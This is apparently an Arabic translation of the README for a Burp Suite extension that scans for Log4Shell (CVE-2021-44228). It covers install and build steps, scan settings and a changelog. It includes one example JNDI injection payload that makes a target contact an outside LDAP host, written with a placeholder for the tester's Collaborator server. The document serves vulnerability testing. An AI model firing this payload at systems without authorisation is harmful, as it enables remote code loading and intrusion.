إضافة Burp لمسح ثغرة Log4Shell (CVE-2021-44228) باستخدام حمولات مخصصة.

---

---

إخلاء مسؤولية

لست مسؤولاً عن أفعالك، أو تجميد Burp Suite، أو اختراق الهدف، أو الحرب النووية الحرارية، أو الأزمة الاقتصادية الحالية الناتجة عن اتباعك لهذه التعليمات. أنت من يختار استخدام هذه الأداة، وإذا أشرت بإصبعك إليّ لإفساد أي شيء، فسأضحك عليك LMAO.

---

التعليمات:

• قم بتثبيت الإما إما من الإصدارات المجمعة مسبقًا أو من المصدر.
• قم بتعطيل/إلغاء تحديد جميع إضافات المسح النشط الأخرى مثل active scan++ وburp bounty pro وparam-miner إلخ.
• من القائمة العلوية افتح إعدادات Log4J Scanner.
• أضف حمولتك المخصصة واحفظ الإعدادات.
• حدد هدفك > انقر بزر الماوس الأيمن > Scan.
• اختر Scan Configuration > Select from library
• اختر فقط Audit checks - extensions only ثم اضغط OK.

شكر خاص لـ Silent Signal، التعليمات وتكوينات المسح مستوحاة من إضافته.

تعليمات مهمة للتذكر:

• في حمولتك المخصصة، لا تقم بإضافة رابط الـ collaborator الخاص بك، فقط أضف [collaborator-server] كعنصر نائب.
• سيتم استبدال [collaborator-server] برابط خادم الـ collaborator الخاص بك تلقائياً.
• مثال على حمولة: "${jndi:ldap://[collaborator-server]/a}

تحميل الإصدارات

https://github.com/0xDexter0us/Log4J-Scanner/releases/

البناء من المصدر

• ./gradlew build fatJar
• احصل على ملف jar build/libs/Log4J-Scanner-x.x.x.jar

التثبيت

1. قم بتنزيل أحدث jar من الإصدارات أو البناء من المصدر.
2. أضف الـ jar إلى Burp Suite.

إذا أعجبك المشروع، من فضلك أعطِ المستودع نجمة! <3

الموارد

• للمسح السلبي: https://github.com/f0ng/log4j2burpscanner
• للمسح النشط: https://github.com/albinowax/ActiveScanPlusPlus & https://github.com/silentsignal/burp-log4shell

سجل التغييرات

25 ديسمبر 2021 - الإصدار v0.2.0

• إضافة واجهة برمجة تطبيقات Burp Collaborator.
• إزالة الماسح المخصص.
• إضافة واجهة برمجة تطبيقات ماسح Burp.

13 ديسمبر 2021 - الإصدار v0.1.0

• أول إصدار عام

شكر لـ

• CoreyD97 - https://github.com/CoreyD97
• Silent Signal - https://github.com/silentsignal

تمت برمجة هذا بواسطتي في يوم واحد وهو إصدار أولي، قد تحدث أخطاء، التقارير عن الأخطاء والاقتراحات وطلبات السحب مرحب بها جميعاً :)

---